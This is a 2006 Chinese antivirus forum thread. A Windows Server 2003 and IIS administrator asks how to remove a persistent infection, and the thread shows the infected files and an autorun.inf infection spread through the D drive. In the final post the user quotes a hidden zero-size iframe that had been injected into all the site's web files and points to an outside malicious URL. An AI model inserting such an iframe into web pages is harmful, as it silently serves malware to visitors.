瑞星卡卡安全论坛

首页 » 技术交流区 » 反病毒/反流氓软件论坛 » c盘下 有bootconf.exe,boot.hta两个文件
筵季 - 2006-7-23 17:30:00
症状:用的win 2003 系统,装了IIS6.0做web程序;通过IIS浏览web页面弹出以下画面

上网查了一下,好象说是木马,瑞星管不了

最可恨的是,我重装了系统,重装IIS,这病毒还在,请教高手如何清除

附件: 2626842006723172213.JPG
mopery - 2006-7-23 17:48:00
如果重装还在..
我想可能不是病毒原因..
筵季 - 2006-7-23 18:09:00
确切的说,不是重装,是用ghost还原原先的系统
mopery - 2006-7-23 18:13:00
你在备份之前有这问题不?
筵季 - 2006-7-23 18:31:00
以前中了毒,还原后就正常了

这次在前几天,d盘双击打 不开,查了以下也是中毒了,删除了d盘下的autorun.inf和pagefile文件,再用ghost 还原c盘。
d盘到是双击可以打开了

不知和这个有关系没有
筵季 - 2006-7-23 18:46:00
我有发现了

我在IIS里查看我的web程序,所有的脚本文件和html文件末尾都被加上这样
<iframe src="http://www.ads183.com/123/" width="0" height="0" frameborder="0"></iframe>

就是这个网址带的病毒,TMD

他是怎么把我的web文件改的啊
1
查看完整版本: c盘下 有bootconf.exe,boot.hta两个文件